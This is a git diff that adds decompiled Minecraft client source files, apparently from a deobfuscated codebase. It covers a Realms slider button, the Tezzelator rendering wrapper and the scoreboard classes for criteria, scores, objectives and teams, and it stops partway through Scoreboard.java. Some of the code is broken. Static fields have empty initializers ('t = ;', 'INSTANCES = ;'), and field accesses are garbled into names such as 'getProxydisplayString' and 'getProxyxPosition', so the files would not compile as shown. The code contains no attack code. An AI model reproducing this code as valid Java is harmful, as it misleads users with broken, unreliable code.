+  public boolean isSelectedItem(int p_isSelectedItem_1_)
+  {
+    return false;
+  }
+  
+  public void renderBackground() {}
+  
+  public int getMaxPosition()
+  {
+    return 0;
+  }
+  
+  public int getScrollbarPosition()
+  {
+    return proxy.func_178048_e() / 2 + 124;
+  }
+  
+  public void mouseEvent()
+  {
+    proxy.func_178039_p();
+  }
+  
+  public void scroll(int p_scroll_1_)
+  {
+    proxy.scrollBy(p_scroll_1_);
+  }
+  
+  public int getScroll()
+  {
+    return proxy.getAmountScrolled();
+  }
+  
+  protected void renderList(int p_renderList_1_, int p_renderList_2_, int p_renderList_3_, int p_renderList_4_) {}
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsSliderButton.java b/src/minecraft/net/minecraft/realms/RealmsSliderButton.java
new file mode 100644
index 0000000..d7e5b07
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsSliderButton.java
@@ -0,0 +1,103 @@
+package net.minecraft.realms;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.util.MathHelper;
+
+public class RealmsSliderButton extends RealmsButton
+{
+  public float value;
+  public boolean sliding;
+  private final float minValue;
+  private final float maxValue;
+  private int steps;
+  private static final String __OBFID = "CL_00001834";
+  
+  public RealmsSliderButton(int p_i1056_1_, int p_i1056_2_, int p_i1056_3_, int p_i1056_4_, int p_i1056_5_, int p_i1056_6_)
+  {
+    this(p_i1056_1_, p_i1056_2_, p_i1056_3_, p_i1056_4_, p_i1056_6_, 0, 1.0F, p_i1056_5_);
+  }
+  
+  public RealmsSliderButton(int p_i1057_1_, int p_i1057_2_, int p_i1057_3_, int p_i1057_4_, int p_i1057_5_, int p_i1057_6_, float p_i1057_7_, float p_i1057_8_)
+  {
+    super(p_i1057_1_, p_i1057_2_, p_i1057_3_, p_i1057_4_, 20, "");
+    value = 1.0F;
+    minValue = p_i1057_7_;
+    maxValue = p_i1057_8_;
+    value = toPct(p_i1057_6_);
+    getProxydisplayString = getMessage();
+  }
+  
+  public String getMessage()
+  {
+    return "";
+  }
+  
+  public float toPct(float p_toPct_1_)
+  {
+    return MathHelper.clamp_float((clamp(p_toPct_1_) - minValue) / (maxValue - minValue), 0.0F, 1.0F);
+  }
+  
+  public float toValue(float p_toValue_1_)
+  {
+    return clamp(minValue + (maxValue - minValue) * MathHelper.clamp_float(p_toValue_1_, 0.0F, 1.0F));
+  }
+  
+  public float clamp(float p_clamp_1_)
+  {
+    p_clamp_1_ = clampSteps(p_clamp_1_);
+    return MathHelper.clamp_float(p_clamp_1_, minValue, maxValue);
+  }
+  
+  protected float clampSteps(float p_clampSteps_1_)
+  {
+    if (steps > 0)
+    {
+      p_clampSteps_1_ = steps * Math.round(p_clampSteps_1_ / steps);
+    }
+    
+    return p_clampSteps_1_;
+  }
+  
+  public int getYImage(boolean p_getYImage_1_)
+  {
+    return 0;
+  }
+  
+  public void renderBg(int p_renderBg_1_, int p_renderBg_2_)
+  {
+    if (getProxyvisible)
+    {
+      if (sliding)
+      {
+        value = ((p_renderBg_1_ - (getProxyxPosition + 4)) / (getProxy().getButtonWidth() - 8));
+        value = MathHelper.clamp_float(value, 0.0F, 1.0F);
+        float var3 = toValue(value);
+        clicked(var3);
+        value = toPct(var3);
+        getProxydisplayString = getMessage();
+      }
+      
+      Minecraft.getMinecraft().getTextureManager().bindTexture(WIDGETS_LOCATION);
+      net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      blit(getProxyxPosition + (int)(value * (getProxy().getButtonWidth() - 8)), getProxyyPosition, 0, 66, 4, 20);
+      blit(getProxyxPosition + (int)(value * (getProxy().getButtonWidth() - 8)) + 4, getProxyyPosition, 196, 66, 4, 20);
+    }
+  }
+  
+  public void clicked(int p_clicked_1_, int p_clicked_2_)
+  {
+    value = ((p_clicked_1_ - (getProxyxPosition + 4)) / (getProxy().getButtonWidth() - 8));
+    value = MathHelper.clamp_float(value, 0.0F, 1.0F);
+    clicked(toValue(value));
+    getProxydisplayString = getMessage();
+    sliding = true;
+  }
+  
+  public void clicked(float p_clicked_1_) {}
+  
+  public void released(int p_released_1_, int p_released_2_)
+  {
+    sliding = false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/Tezzelator.java b/src/minecraft/net/minecraft/realms/Tezzelator.java
new file mode 100644
index 0000000..36e2939
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/Tezzelator.java
@@ -0,0 +1,106 @@
+package net.minecraft.realms;
+
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+
+public class Tezzelator
+{
+  public static Tessellator t = ;
+  public static final Tezzelator instance = new Tezzelator();
+  private static final String __OBFID = "CL_00001855";
+  
+  public Tezzelator() {}
+  
+  public int end() { return t.draw(); }
+  
+
+  public void vertex(double p_vertex_1_, double p_vertex_3_, double p_vertex_5_)
+  {
+    t.getWorldRenderer().addVertex(p_vertex_1_, p_vertex_3_, p_vertex_5_);
+  }
+  
+  public void color(float p_color_1_, float p_color_2_, float p_color_3_, float p_color_4_)
+  {
+    t.getWorldRenderer().func_178960_a(p_color_1_, p_color_2_, p_color_3_, p_color_4_);
+  }
+  
+  public void color(int p_color_1_, int p_color_2_, int p_color_3_)
+  {
+    t.getWorldRenderer().setPosition(p_color_1_, p_color_2_, p_color_3_);
+  }
+  
+  public void tex2(int p_tex2_1_)
+  {
+    t.getWorldRenderer().func_178963_b(p_tex2_1_);
+  }
+  
+  public void normal(float p_normal_1_, float p_normal_2_, float p_normal_3_)
+  {
+    t.getWorldRenderer().func_178980_d(p_normal_1_, p_normal_2_, p_normal_3_);
+  }
+  
+  public void noColor()
+  {
+    t.getWorldRenderer().markDirty();
+  }
+  
+  public void color(int p_color_1_)
+  {
+    t.getWorldRenderer().func_178991_c(p_color_1_);
+  }
+  
+  public void color(float p_color_1_, float p_color_2_, float p_color_3_)
+  {
+    t.getWorldRenderer().func_178986_b(p_color_1_, p_color_2_, p_color_3_);
+  }
+  
+  public net.minecraft.client.renderer.WorldRenderer.State sortQuads(float p_sortQuads_1_, float p_sortQuads_2_, float p_sortQuads_3_)
+  {
+    return t.getWorldRenderer().getVertexState(p_sortQuads_1_, p_sortQuads_2_, p_sortQuads_3_);
+  }
+  
+  public void restoreState(net.minecraft.client.renderer.WorldRenderer.State p_restoreState_1_)
+  {
+    t.getWorldRenderer().setVertexState(p_restoreState_1_);
+  }
+  
+  public void begin(int p_begin_1_)
+  {
+    t.getWorldRenderer().startDrawing(p_begin_1_);
+  }
+  
+  public void begin()
+  {
+    t.getWorldRenderer().startDrawingQuads();
+  }
+  
+  public void vertexUV(double p_vertexUV_1_, double p_vertexUV_3_, double p_vertexUV_5_, double p_vertexUV_7_, double p_vertexUV_9_)
+  {
+    t.getWorldRenderer().addVertexWithUV(p_vertexUV_1_, p_vertexUV_3_, p_vertexUV_5_, p_vertexUV_7_, p_vertexUV_9_);
+  }
+  
+  public void color(int p_color_1_, int p_color_2_)
+  {
+    t.getWorldRenderer().func_178974_a(p_color_1_, p_color_2_);
+  }
+  
+  public void offset(double p_offset_1_, double p_offset_3_, double p_offset_5_)
+  {
+    t.getWorldRenderer().setTranslation(p_offset_1_, p_offset_3_, p_offset_5_);
+  }
+  
+  public void color(int p_color_1_, int p_color_2_, int p_color_3_, int p_color_4_)
+  {
+    t.getWorldRenderer().func_178961_b(p_color_1_, p_color_2_, p_color_3_, p_color_4_);
+  }
+  
+  public void tex(double p_tex_1_, double p_tex_3_)
+  {
+    t.getWorldRenderer().setTextureUV(p_tex_1_, p_tex_3_);
+  }
+  
+  public void color(byte p_color_1_, byte p_color_2_, byte p_color_3_)
+  {
+    t.getWorldRenderer().func_178982_a(p_color_1_, p_color_2_, p_color_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/scoreboard/GoalColor.java b/src/minecraft/net/minecraft/scoreboard/GoalColor.java
new file mode 100644
index 0000000..a049302
--- /dev/null
+++ b/src/minecraft/net/minecraft/scoreboard/GoalColor.java
@@ -0,0 +1,36 @@
+package net.minecraft.scoreboard;
+
+import java.util.List;
+import net.minecraft.util.EnumChatFormatting;
+
+public class GoalColor implements IScoreObjectiveCriteria
+{
+  private final String field_178794_j;
+  private static final String __OBFID = "CL_00001961";
+  
+  public GoalColor(String p_i45549_1_, EnumChatFormatting p_i45549_2_)
+  {
+    field_178794_j = (p_i45549_1_ + p_i45549_2_.getFriendlyName());
+    IScoreObjectiveCriteria.INSTANCES.put(field_178794_j, this);
+  }
+  
+  public String getName()
+  {
+    return field_178794_j;
+  }
+  
+  public int func_96635_a(List p_96635_1_)
+  {
+    return 0;
+  }
+  
+  public boolean isReadOnly()
+  {
+    return false;
+  }
+  
+  public IScoreObjectiveCriteria.EnumRenderType func_178790_c()
+  {
+    return IScoreObjectiveCriteria.EnumRenderType.INTEGER;
+  }
+}
diff --git a/src/minecraft/net/minecraft/scoreboard/IScoreObjectiveCriteria.java b/src/minecraft/net/minecraft/scoreboard/IScoreObjectiveCriteria.java
new file mode 100644
index 0000000..f2f0516
--- /dev/null
+++ b/src/minecraft/net/minecraft/scoreboard/IScoreObjectiveCriteria.java
@@ -0,0 +1,89 @@
+package net.minecraft.scoreboard;
+
+import com.google.common.collect.Maps;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.util.EnumChatFormatting;
+
+public abstract interface IScoreObjectiveCriteria
+{
+  public static final Map INSTANCES = ;
+  public static final IScoreObjectiveCriteria DUMMY = new ScoreDummyCriteria("dummy");
+  public static final IScoreObjectiveCriteria field_178791_c = new ScoreDummyCriteria("trigger");
+  public static final IScoreObjectiveCriteria deathCount = new ScoreDummyCriteria("deathCount");
+  public static final IScoreObjectiveCriteria playerKillCount = new ScoreDummyCriteria("playerKillCount");
+  public static final IScoreObjectiveCriteria totalKillCount = new ScoreDummyCriteria("totalKillCount");
+  public static final IScoreObjectiveCriteria health = new ScoreHealthCriteria("health");
+  public static final IScoreObjectiveCriteria[] field_178792_h = { new GoalColor("teamkill.", EnumChatFormatting.BLACK), new GoalColor("teamkill.", EnumChatFormatting.DARK_BLUE), new GoalColor("teamkill.", EnumChatFormatting.DARK_GREEN), new GoalColor("teamkill.", EnumChatFormatting.DARK_AQUA), new GoalColor("teamkill.", EnumChatFormatting.DARK_RED), new GoalColor("teamkill.", EnumChatFormatting.DARK_PURPLE), new GoalColor("teamkill.", EnumChatFormatting.GOLD), new GoalColor("teamkill.", EnumChatFormatting.GRAY), new GoalColor("teamkill.", EnumChatFormatting.DARK_GRAY), new GoalColor("teamkill.", EnumChatFormatting.BLUE), new GoalColor("teamkill.", EnumChatFormatting.GREEN), new GoalColor("teamkill.", EnumChatFormatting.AQUA), new GoalColor("teamkill.", EnumChatFormatting.RED), new GoalColor("teamkill.", EnumChatFormatting.LIGHT_PURPLE), new GoalColor("teamkill.", EnumChatFormatting.YELLOW), new GoalColor("teamkill.", EnumChatFormatting.WHITE) };
+  public static final IScoreObjectiveCriteria[] field_178793_i = { new GoalColor("killedByTeam.", EnumChatFormatting.BLACK), new GoalColor("killedByTeam.", EnumChatFormatting.DARK_BLUE), new GoalColor("killedByTeam.", EnumChatFormatting.DARK_GREEN), new GoalColor("killedByTeam.", EnumChatFormatting.DARK_AQUA), new GoalColor("killedByTeam.", EnumChatFormatting.DARK_RED), new GoalColor("killedByTeam.", EnumChatFormatting.DARK_PURPLE), new GoalColor("killedByTeam.", EnumChatFormatting.GOLD), new GoalColor("killedByTeam.", EnumChatFormatting.GRAY), new GoalColor("killedByTeam.", EnumChatFormatting.DARK_GRAY), new GoalColor("killedByTeam.", EnumChatFormatting.BLUE), new GoalColor("killedByTeam.", EnumChatFormatting.GREEN), new GoalColor("killedByTeam.", EnumChatFormatting.AQUA), new GoalColor("killedByTeam.", EnumChatFormatting.RED), new GoalColor("killedByTeam.", EnumChatFormatting.LIGHT_PURPLE), new GoalColor("killedByTeam.", EnumChatFormatting.YELLOW), new GoalColor("killedByTeam.", EnumChatFormatting.WHITE) };
+  
+  public abstract String getName();
+  
+  public abstract int func_96635_a(List paramList);
+  
+  public abstract boolean isReadOnly();
+  
+  public abstract EnumRenderType func_178790_c();
+  
+  public static enum EnumRenderType
+  {
+    INTEGER("INTEGER", 0, "integer"), 
+    HEARTS("HEARTS", 1, "hearts");
+    
+    private static final Map field_178801_c;
+    private final String field_178798_d;
+    private static final EnumRenderType[] $VALUES;
+    private static final String __OBFID = "CL_00001960";
+    
+    private EnumRenderType(String p_i45548_1_, int p_i45548_2_, String p_i45548_3_)
+    {
+      field_178798_d = p_i45548_3_;
+    }
+    
+    public String func_178796_a()
+    {
+      return field_178798_d;
+    }
+    
+    public static EnumRenderType func_178795_a(String p_178795_0_)
+    {
+      EnumRenderType var1 = (EnumRenderType)field_178801_c.get(p_178795_0_);
+      return var1 == null ? INTEGER : var1;
+    }
+    
+    static
+    {
+      field_178801_c = Maps.newHashMap();
+      
+
+      $VALUES = new EnumRenderType[] { INTEGER, HEARTS };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumRenderType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumRenderType var3 = var0[var2];
+        field_178801_c.put(var3.func_178796_a(), var3);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/scoreboard/Score.java b/src/minecraft/net/minecraft/scoreboard/Score.java
new file mode 100644
index 0000000..78757b3
--- /dev/null
+++ b/src/minecraft/net/minecraft/scoreboard/Score.java
@@ -0,0 +1,122 @@
+package net.minecraft.scoreboard;
+
+import java.util.Comparator;
+import java.util.List;
+
+
+public class Score
+{
+  public static final Comparator scoreComparator = new Comparator()
+  {
+    private static final String __OBFID = "CL_00000618";
+    
+    public int compare(Score p_compare_1_, Score p_compare_2_) {
+      return p_compare_1_.getScorePoints() < p_compare_2_.getScorePoints() ? -1 : p_compare_1_.getScorePoints() > p_compare_2_.getScorePoints() ? 1 : p_compare_2_.getPlayerName().compareToIgnoreCase(p_compare_1_.getPlayerName());
+    }
+    
+    public int compare(Object p_compare_1_, Object p_compare_2_) {
+      return compare((Score)p_compare_1_, (Score)p_compare_2_);
+    }
+  };
+  private final Scoreboard theScoreboard;
+  private final ScoreObjective theScoreObjective;
+  private final String scorePlayerName;
+  private int scorePoints;
+  private boolean field_178817_f;
+  private boolean field_178818_g;
+  private static final String __OBFID = "CL_00000617";
+  
+  public Score(Scoreboard p_i2309_1_, ScoreObjective p_i2309_2_, String p_i2309_3_)
+  {
+    theScoreboard = p_i2309_1_;
+    theScoreObjective = p_i2309_2_;
+    scorePlayerName = p_i2309_3_;
+    field_178818_g = true;
+  }
+  
+  public void increseScore(int p_96649_1_)
+  {
+    if (theScoreObjective.getCriteria().isReadOnly())
+    {
+      throw new IllegalStateException("Cannot modify read-only score");
+    }
+    
+
+    setScorePoints(getScorePoints() + p_96649_1_);
+  }
+  
+
+  public void decreaseScore(int p_96646_1_)
+  {
+    if (theScoreObjective.getCriteria().isReadOnly())
+    {
+      throw new IllegalStateException("Cannot modify read-only score");
+    }
+    
+
+    setScorePoints(getScorePoints() - p_96646_1_);
+  }
+  
+
+  public void func_96648_a()
+  {
+    if (theScoreObjective.getCriteria().isReadOnly())
+    {
+      throw new IllegalStateException("Cannot modify read-only score");
+    }
+    
+
+    increseScore(1);
+  }
+  
+
+  public int getScorePoints()
+  {
+    return scorePoints;
+  }
+  
+  public void setScorePoints(int p_96647_1_)
+  {
+    int var2 = scorePoints;
+    scorePoints = p_96647_1_;
+    
+    if ((var2 != p_96647_1_) || (field_178818_g))
+    {
+      field_178818_g = false;
+      getScoreScoreboard().func_96536_a(this);
+    }
+  }
+  
+  public ScoreObjective getObjective()
+  {
+    return theScoreObjective;
+  }
+  
+
+
+
+  public String getPlayerName()
+  {
+    return scorePlayerName;
+  }
+  
+  public Scoreboard getScoreScoreboard()
+  {
+    return theScoreboard;
+  }
+  
+  public boolean func_178816_g()
+  {
+    return field_178817_f;
+  }
+  
+  public void func_178815_a(boolean p_178815_1_)
+  {
+    field_178817_f = p_178815_1_;
+  }
+  
+  public void func_96651_a(List p_96651_1_)
+  {
+    setScorePoints(theScoreObjective.getCriteria().func_96635_a(p_96651_1_));
+  }
+}
diff --git a/src/minecraft/net/minecraft/scoreboard/ScoreDummyCriteria.java b/src/minecraft/net/minecraft/scoreboard/ScoreDummyCriteria.java
new file mode 100644
index 0000000..96c64fd
--- /dev/null
+++ b/src/minecraft/net/minecraft/scoreboard/ScoreDummyCriteria.java
@@ -0,0 +1,35 @@
+package net.minecraft.scoreboard;
+
+import java.util.List;
+
+public class ScoreDummyCriteria implements IScoreObjectiveCriteria
+{
+  private final String field_96644_g;
+  private static final String __OBFID = "CL_00000622";
+  
+  public ScoreDummyCriteria(String p_i2311_1_)
+  {
+    field_96644_g = p_i2311_1_;
+    IScoreObjectiveCriteria.INSTANCES.put(p_i2311_1_, this);
+  }
+  
+  public String getName()
+  {
+    return field_96644_g;
+  }
+  
+  public int func_96635_a(List p_96635_1_)
+  {
+    return 0;
+  }
+  
+  public boolean isReadOnly()
+  {
+    return false;
+  }
+  
+  public IScoreObjectiveCriteria.EnumRenderType func_178790_c()
+  {
+    return IScoreObjectiveCriteria.EnumRenderType.INTEGER;
+  }
+}
diff --git a/src/minecraft/net/minecraft/scoreboard/ScoreHealthCriteria.java b/src/minecraft/net/minecraft/scoreboard/ScoreHealthCriteria.java
new file mode 100644
index 0000000..97db1e8
--- /dev/null
+++ b/src/minecraft/net/minecraft/scoreboard/ScoreHealthCriteria.java
@@ -0,0 +1,44 @@
+package net.minecraft.scoreboard;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.MathHelper;
+
+public class ScoreHealthCriteria extends ScoreDummyCriteria
+{
+  private static final String __OBFID = "CL_00000623";
+  
+  public ScoreHealthCriteria(String p_i2312_1_)
+  {
+    super(p_i2312_1_);
+  }
+  
+  public int func_96635_a(List p_96635_1_)
+  {
+    float var2 = 0.0F;
+    
+    EntityPlayer var4;
+    for (Iterator var3 = p_96635_1_.iterator(); var3.hasNext(); var2 += var4.getHealth() + var4.getAbsorptionAmount())
+    {
+      var4 = (EntityPlayer)var3.next();
+    }
+    
+    if (p_96635_1_.size() > 0)
+    {
+      var2 /= p_96635_1_.size();
+    }
+    
+    return MathHelper.ceiling_float_int(var2);
+  }
+  
+  public boolean isReadOnly()
+  {
+    return true;
+  }
+  
+  public IScoreObjectiveCriteria.EnumRenderType func_178790_c()
+  {
+    return IScoreObjectiveCriteria.EnumRenderType.HEARTS;
+  }
+}
diff --git a/src/minecraft/net/minecraft/scoreboard/ScoreObjective.java b/src/minecraft/net/minecraft/scoreboard/ScoreObjective.java
new file mode 100644
index 0000000..e8c96bb
--- /dev/null
+++ b/src/minecraft/net/minecraft/scoreboard/ScoreObjective.java
@@ -0,0 +1,59 @@
+package net.minecraft.scoreboard;
+
+
+public class ScoreObjective
+{
+  private final Scoreboard theScoreboard;
+  
+  private final String name;
+  private final IScoreObjectiveCriteria objectiveCriteria;
+  private IScoreObjectiveCriteria.EnumRenderType field_178768_d;
+  private String displayName;
+  private static final String __OBFID = "CL_00000614";
+  
+  public ScoreObjective(Scoreboard p_i2307_1_, String p_i2307_2_, IScoreObjectiveCriteria p_i2307_3_)
+  {
+    theScoreboard = p_i2307_1_;
+    name = p_i2307_2_;
+    objectiveCriteria = p_i2307_3_;
+    displayName = p_i2307_2_;
+    field_178768_d = p_i2307_3_.func_178790_c();
+  }
+  
+  public Scoreboard getScoreboard()
+  {
+    return theScoreboard;
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public IScoreObjectiveCriteria getCriteria()
+  {
+    return objectiveCriteria;
+  }
+  
+  public String getDisplayName()
+  {
+    return displayName;
+  }
+  
+  public void setDisplayName(String p_96681_1_)
+  {
+    displayName = p_96681_1_;
+    theScoreboard.func_96532_b(this);
+  }
+  
+  public IScoreObjectiveCriteria.EnumRenderType func_178766_e()
+  {
+    return field_178768_d;
+  }
+  
+  public void func_178767_a(IScoreObjectiveCriteria.EnumRenderType p_178767_1_)
+  {
+    field_178768_d = p_178767_1_;
+    theScoreboard.func_96532_b(this);
+  }
+}
diff --git a/src/minecraft/net/minecraft/scoreboard/ScorePlayerTeam.java b/src/minecraft/net/minecraft/scoreboard/ScorePlayerTeam.java
new file mode 100644
index 0000000..8b15923
--- /dev/null
+++ b/src/minecraft/net/minecraft/scoreboard/ScorePlayerTeam.java
@@ -0,0 +1,190 @@
+package net.minecraft.scoreboard;
+
+import com.google.common.collect.Sets;
+import java.util.Collection;
+import java.util.Set;
+import net.minecraft.util.EnumChatFormatting;
+
+
+public class ScorePlayerTeam
+  extends Team
+{
+  private final Scoreboard theScoreboard;
+  private final String field_96675_b;
+  private final Set membershipSet = Sets.newHashSet();
+  private String teamNameSPT;
+  private String namePrefixSPT = "";
+  private String colorSuffix = "";
+  private boolean allowFriendlyFire = true;
+  private boolean canSeeFriendlyInvisibles = true;
+  private Team.EnumVisible field_178778_i;
+  private Team.EnumVisible field_178776_j;
+  private EnumChatFormatting field_178777_k;
+  private static final String __OBFID = "CL_00000616";
+  
+  public ScorePlayerTeam(Scoreboard p_i2308_1_, String p_i2308_2_)
+  {
+    field_178778_i = Team.EnumVisible.ALWAYS;
+    field_178776_j = Team.EnumVisible.ALWAYS;
+    field_178777_k = EnumChatFormatting.RESET;
+    theScoreboard = p_i2308_1_;
+    field_96675_b = p_i2308_2_;
+    teamNameSPT = p_i2308_2_;
+  }
+  
+
+
+
+  public String getRegisteredName()
+  {
+    return field_96675_b;
+  }
+  
+  public String func_96669_c()
+  {
+    return teamNameSPT;
+  }
+  
+  public void setTeamName(String p_96664_1_)
+  {
+    if (p_96664_1_ == null)
+    {
+      throw new IllegalArgumentException("Name cannot be null");
+    }
+    
+
+    teamNameSPT = p_96664_1_;
+    theScoreboard.broadcastTeamRemoved(this);
+  }
+  
+
+  public Collection getMembershipCollection()
+  {
+    return membershipSet;
+  }
+  
+
+
+
+  public String getColorPrefix()
+  {
+    return namePrefixSPT;
+  }
+  
+  public void setNamePrefix(String p_96666_1_)
+  {
+    if (p_96666_1_ == null)
+    {
+      throw new IllegalArgumentException("Prefix cannot be null");
+    }
+    
+
+    namePrefixSPT = p_96666_1_;
+    theScoreboard.broadcastTeamRemoved(this);
+  }
+  
+
+
+
+
+  public String getColorSuffix()
+  {
+    return colorSuffix;
+  }
+  
+  public void setNameSuffix(String p_96662_1_)
+  {
+    colorSuffix = p_96662_1_;
+    theScoreboard.broadcastTeamRemoved(this);
+  }
+  
+  public String formatString(String input)
+  {
+    return getColorPrefix() + input + getColorSuffix();
+  }
+  
+
+
+
+  public static String formatPlayerName(Team p_96667_0_, String p_96667_1_)
+  {
+    return p_96667_0_ == null ? p_96667_1_ : p_96667_0_.formatString(p_96667_1_);
+  }
+  
+  public boolean getAllowFriendlyFire()
+  {
+    return allowFriendlyFire;
+  }
+  
+  public void setAllowFriendlyFire(boolean p_96660_1_)
+  {
+    allowFriendlyFire = p_96660_1_;
+    theScoreboard.broadcastTeamRemoved(this);
+  }
+  
+  public boolean func_98297_h()
+  {
+    return canSeeFriendlyInvisibles;
+  }
+  
+  public void setSeeFriendlyInvisiblesEnabled(boolean p_98300_1_)
+  {
+    canSeeFriendlyInvisibles = p_98300_1_;
+    theScoreboard.broadcastTeamRemoved(this);
+  }
+  
+  public Team.EnumVisible func_178770_i()
+  {
+    return field_178778_i;
+  }
+  
+  public Team.EnumVisible func_178771_j()
+  {
+    return field_178776_j;
+  }
+  
+  public void func_178772_a(Team.EnumVisible p_178772_1_)
+  {
+    field_178778_i = p_178772_1_;
+    theScoreboard.broadcastTeamRemoved(this);
+  }
+  
+  public void func_178773_b(Team.EnumVisible p_178773_1_)
+  {
+    field_178776_j = p_178773_1_;
+    theScoreboard.broadcastTeamRemoved(this);
+  }
+  
+  public int func_98299_i()
+  {
+    int var1 = 0;
+    
+    if (getAllowFriendlyFire())
+    {
+      var1 |= 0x1;
+    }
+    
+    if (func_98297_h())
+    {
+      var1 |= 0x2;
+    }
+    
+    return var1;
+  }
+  
+  public void func_98298_a(int p_98298_1_)
+  {
+    setAllowFriendlyFire((p_98298_1_ & 0x1) > 0);
+    setSeeFriendlyInvisiblesEnabled((p_98298_1_ & 0x2) > 0);
+  }
+  
+  public void func_178774_a(EnumChatFormatting p_178774_1_)
+  {
+    field_178777_k = p_178774_1_;
+  }
+  
+  public EnumChatFormatting func_178775_l()
+  {
+    return field_178777_k;
+  }
+}
diff --git a/src/minecraft/net/minecraft/scoreboard/Scoreboard.java b/src/minecraft/net/minecraft/scoreboard/Scoreboard.java
new file mode 100644
index 0000000..3777668
--- /dev/null
+++ b/src/minecraft/net/minecraft/scoreboard/Scoreboard.java
@@ -0,0 +1,473 @@
+package net.minecraft.scoreboard;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.util.EnumChatFormatting;
+
+
+public class Scoreboard
+{
+  private final Map scoreObjectives = Maps.newHashMap();
+  private final Map scoreObjectiveCriterias = Maps.newHashMap();
+  private final Map field_96544_c = Maps.newHashMap();
+  
+
+  private final ScoreObjective[] objectiveDisplaySlots = new ScoreObjective[19];
+  
+
+  private final Map teams = Maps.newHashMap();
+  
+
+  private final Map teamMemberships = Maps.newHashMap();
+  private static String[] field_178823_g = null;
+  
+  private static final String __OBFID = "CL_00000619";
+  
+  public Scoreboard() {}
+  
+  public ScoreObjective getObjective(String p_96518_1_)
+  {
+    return (ScoreObjective)scoreObjectives.get(p_96518_1_);
+  }
+  
+  public ScoreObjective addScoreObjective(String p_96535_1_, IScoreObjectiveCriteria p_96535_2_)
+  {
+    ScoreObjective var3 = getObjective(p_96535_1_);
+    
+    if (var3 != null)
+    {
+      throw new IllegalArgumentException("An objective with the name '" + p_96535_1_ + "' already exists!");
+    }
+    
+
+    var3 = new ScoreObjective(this, p_96535_1_, p_96535_2_);
+    Object var4 = (List)scoreObjectiveCriterias.get(p_96535_2_);
+    
+    if (var4 == null)
+    {
+      var4 = Lists.newArrayList();
+      scoreObjectiveCriterias.put(p_96535_2_, var4);
+    }
+    
+    ((List)var4).add(var3);
+    scoreObjectives.put(p_96535_1_, var3);
+    func_96522_a(var3);
+    return var3;
+  }
+  
+
+  public Collection func_96520_a(IScoreObjectiveCriteria p_96520_1_)
+  {
+    Collection var2 = (Collection)scoreObjectiveCriterias.get(p_96520_1_);
+    return var2 == null ? Lists.newArrayList() : Lists.newArrayList(var2);
+  }
+  
+  public boolean func_178819_b(String p_178819_1_, ScoreObjective p_178819_2_)
+  {
+    Map var3 = (Map)field_96544_c.get(p_178819_1_);
+    
+    if (var3 == null)
+    {
+      return false;
+    }
+    
+
+    Score var4 = (Score)var3.get(p_178819_2_);
+    return var4 != null;
+  }
+  
+
+  public Score getValueFromObjective(String p_96529_1_, ScoreObjective p_96529_2_)
+  {
+    Object var3 = (Map)field_96544_c.get(p_96529_1_);
+    
+    if (var3 == null)
+    {
+      var3 = Maps.newHashMap();
+      field_96544_c.put(p_96529_1_, var3);
+    }
+    
+    Score var4 = (Score)((Map)var3).get(p_96529_2_);
+    
+    if (var4 == null)
+    {
+      var4 = new Score(this, p_96529_2_, p_96529_1_);
+      ((Map)var3).put(p_96529_2_, var4);
+    }
+    
+    return var4;
+  }
+  
+
+
+
+  public Collection getSortedScores(ScoreObjective p_96534_1_)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    Iterator var3 = field_96544_c.values().iterator();
+    
+    while (var3.hasNext())
+    {
+      Map var4 = (Map)var3.next();
+      Score var5 = (Score)var4.get(p_96534_1_);
+      
+      if (var5 != null)
+      {
+        var2.add(var5);
+      }
+    }
+    
+    Collections.sort(var2, Score.scoreComparator);
+    return var2;
+  }
+  
+  public Collection getScoreObjectives()
+  {
+    return scoreObjectives.values();
+  }
+  
+  public Collection getObjectiveNames()
+  {
+    return field_96544_c.keySet();
+  }
+  
+
+
+  public void func_178822_d(String p_178822_1_, ScoreObjective p_178822_2_)
+  {
+    if (p_178822_2_ == null)
+    {
+      Map var3 = (Map)field_96544_c.remove(p_178822_1_);
+      
+      if (var3 != null)
+      {
+        func_96516_a(p_178822_1_);
+      }
+    }
+    else
+    {
+      Map var3 = (Map)field_96544_c.get(p_178822_1_);
+      
+      if (var3 != null)
+      {
+        Score var4 = (Score)var3.remove(p_178822_2_);
+        
+        if (var3.size() < 1)
+        {
+          Map var5 = (Map)field_96544_c.remove(p_178822_1_);
+          
+          if (var5 != null)
+          {
+            func_96516_a(p_178822_1_);
+          }
+        }
+        else if (var4 != null)
+        {
+          func_178820_a(p_178822_1_, p_178822_2_);
+        }
+      }
+    }
+  }
+  
+  public Collection func_96528_e()
+  {
+    Collection var1 = field_96544_c.values();
+    ArrayList var2 = Lists.newArrayList();
+    Iterator var3 = var1.iterator();
+    
+    while (var3.hasNext())
+    {
+      Map var4 = (Map)var3.next();
+      var2.addAll(var4.values());
+    }
+    
+    return var2;
+  }
+  
+  public Map func_96510_d(String p_96510_1_)
+  {
+    Object var2 = (Map)field_96544_c.get(p_96510_1_);
+    
+    if (var2 == null)
+    {
+      var2 = Maps.newHashMap();
+    }
+    
+    return (Map)var2;
+  }
+  
+  public void func_96519_k(ScoreObjective p_96519_1_)
+  {
+    scoreObjectives.remove(p_96519_1_.getName());
+    
+    for (int var2 = 0; var2 < 19; var2++)
+    {
+      if (getObjectiveInDisplaySlot(var2) == p_96519_1_)
+      {
